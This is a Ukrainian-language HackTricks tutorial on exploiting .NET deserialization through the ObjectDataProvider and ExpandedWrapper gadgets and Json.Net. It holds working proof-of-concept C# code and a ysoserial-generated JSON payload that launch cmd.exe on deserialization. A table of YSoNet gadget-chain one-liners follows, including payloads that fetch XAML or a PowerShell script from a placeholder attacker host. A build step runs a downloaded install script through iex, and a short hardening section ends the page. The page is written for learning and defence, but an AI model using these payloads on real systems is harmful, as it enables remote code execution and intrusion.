Основна десеріалізація .Net (гаджет ObjectDataProvider, ExpandedWrapper та Json.Net)

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Ця стаття присвячена розумінню того, як експлуатується гаджет ObjectDataProvider для отримання RCE та як бібліотеки серіалізації Json.Net та xmlSerializer можуть бути зловживані з цим гаджетом.

Гаджет ObjectDataProvider

З документації: клас ObjectDataProvider обгортає та створює об'єкт, який ви можете використовувати як джерело прив'язки.
Так, це дивне пояснення, тож давайте подивимося, що ж у цьому класі такого цікавого: цей клас дозволяє обгортати довільний об'єкт, використовувати MethodParameters для встановлення довільних параметрів і потім використовувати MethodName для виклику довільної функції довільного об'єкта, оголошеного за допомогою довільних параметрів.
Отже, довільний об'єкт буде виконувати функцію з параметрами під час десеріалізації.

Як це можливо

Простір імен System.Windows.Data, який знаходиться в PresentationFramework.dll за адресою C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, є місцем, де визначено та реалізовано ObjectDataProvider.

Використовуючи dnSpy, ви можете переглянути код класу, який нас цікавить. На зображенні нижче ми бачимо код PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Ім'я методу

Як ви можете спостерігати, коли MethodName встановлено, викликається base.Refresh(), давайте подивимося, що це робить:

Добре, продовжимо дивитися, що робить this.BeginQuery(). BeginQuery переозначено класом ObjectDataProvider, і ось що він робить:

Зверніть увагу, що в кінці коду викликається this.QueryWorke(null). Давайте подивимося, що це виконує:

Зверніть увагу, що це не повний код функції QueryWorker, але він показує цікаву частину: код викликає this.InvokeMethodOnInstance(out ex); це рядок, де викликається встановлений метод.

Якщо ви хочете перевірити, що просто встановивши MethodName, він буде виконаний, ви можете запустити цей код:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Зверніть увагу, що вам потрібно додати як посилання C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll, щоб завантажити System.Windows.Data

ExpandedWrapper

Використовуючи попередній експлойт, будуть випадки, коли об'єкт буде десеріалізовано як екземпляр ObjectDataProvider (наприклад, у вразливості DotNetNuke, використовуючи XmlSerializer, об'єкт був десеріалізований за допомогою GetType). Тоді не буде відомо про тип об'єкта, який обгорнутий в екземплярі ObjectDataProvider (Process, наприклад). Ви можете знайти більше інформації про вразливість DotNetNuke тут.

Цей клас дозволяє вказати типи об'єктів об'єктів, які інкапсульовані в даному екземплярі. Отже, цей клас може бути використаний для інкапсуляції об'єкта-джерела (ObjectDataProvider) в новий тип об'єкта та надання необхідних властивостей (ObjectDataProvider.MethodName та ObjectDataProvider.MethodParameters).
Це дуже корисно для випадків, як той, що був представлений раніше, оскільки ми зможемо обгорнути _ObjectDataProvider** всередині екземпляра **ExpandedWrapper _ і під час десеріалізації цей клас створить об'єкт OjectDataProvider, який виконає функцію, вказану в MethodName.

Ви можете перевірити цей обгортальник за допомогою наступного коду:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

На офіційному веб-сайті вказано, що ця бібліотека дозволяє Серіалізувати та десеріалізувати будь-який .NET об'єкт за допомогою потужного JSON-серіалізатора Json.NET. Отже, якщо ми зможемо десеріалізувати гаджет ObjectDataProvider, ми зможемо викликати RCE, просто десеріалізуючи об'єкт.

Json.Net приклад

По-перше, давайте подивимося приклад того, як серіалізувати/десеріалізувати об'єкт, використовуючи цю бібліотеку:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Зловживання Json.Net

Використовуючи ysoserial.net, я створив експлойт:

java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

У цьому коді ви можете перевірити експлойт, просто запустіть його, і ви побачите, що виконується calc:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

Техніка ObjectDataProvider + ExpandedWrapper, представлена вище, є лише однією з БАГАТЬОХ ланцюгів гаджетів, які можна зловживати, коли додаток виконує неконтрольовану десеріалізацію .NET. Сучасні інструменти червоної команди, такі як YSoNet (та старіший ysoserial.net), автоматизують створення готових до використання шкідливих об'єктних графів для десятків гаджетів і форматів серіалізації.

Нижче наведено стисле посилання на найбільш корисні ланцюги, що постачаються з YSoNet, разом з коротким поясненням того, як вони працюють, та прикладами команд для генерації корисних навантажень.

Gadget ChainKey Idea / PrimitiveCommon SerializersYSoNet one-liner
TypeConfuseDelegateПошкоджує запис DelegateSerializationHolder, так що, після матеріалізації, делегат вказує на будь-який метод, наданий атакуючою стороною (наприклад, Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorЗловживає System.Workflow.ComponentModel.ActivitySurrogateSelector, щоб обійти фільтрацію типів .NET ≥4.8 і безпосередньо викликати конструктор наданого класу або компілювати файл C# на льотуBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourВикористовує стару XML репрезентацію System.Data.DataSet, щоб створити випадкові типи, заповнюючи поля <ColumnMapping> / <DataType> (опціонально підробляючи збірку з --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsУ середовищах з підтримкою WPF (> .NET 5) з'єднує геттери властивостей, поки не досягне System.CodeDom.Compiler.CompilerResults, потім компілює або завантажує DLL, надану з -cJson.NET без типу, MessagePack без типуysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (огляд)Використовує WPF System.Windows.Data.ObjectDataProvider, щоб викликати випадковий статичний метод з контрольованими аргументами. YSoNet додає зручний варіант --xamlurl, щоб розмістити шкідливий XAML віддаленоBinaryFormatter, Json.NET, XAML, тощоysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Вбудовує ScriptBlock у System.Management.Automation.PSObject, який виконується, коли PowerShell десеріалізує об'єктPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Усі корисні навантаження за замовчуванням записуються в stdout, що робить їх простими для передачі в інші інструменти (наприклад, генератори ViewState, кодувальники base64, HTTP-клієнти).

Building / Installing YSoNet

Якщо немає попередньо скомпільованих бінарних файлів під Actions ➜ Artifacts / Releases, наступна PowerShell команда налаштує середовище для збірки, клонуватиме репозиторій і скомпілює все в режимі Release:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Скомпільований ysonet.exe можна знайти за адресою ysonet/bin/Release/.

Виявлення та зміцнення

  • Виявляйте несподівані дочірні процеси w3wp.exe, PowerShell.exe або будь-який процес, що десеріалізує дані, надані користувачем (наприклад, MessagePack, Json.NET).
  • Увімкніть та забезпечте фільтрацію типів (TypeFilterLevel = Full, користувацький SurrogateSelector, SerializationBinder, тощо), коли застарілий BinaryFormatter / NetDataContractSerializer не може бути видалений.
  • Де це можливо, мігруйте до System.Text.Json або DataContractJsonSerializer з конвертерами на основі білого списку.
  • Блокуйте небезпечні збірки WPF (PresentationFramework, System.Workflow.*), щоб вони не завантажувалися в веб-процесах, яким вони ніколи не потрібні.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks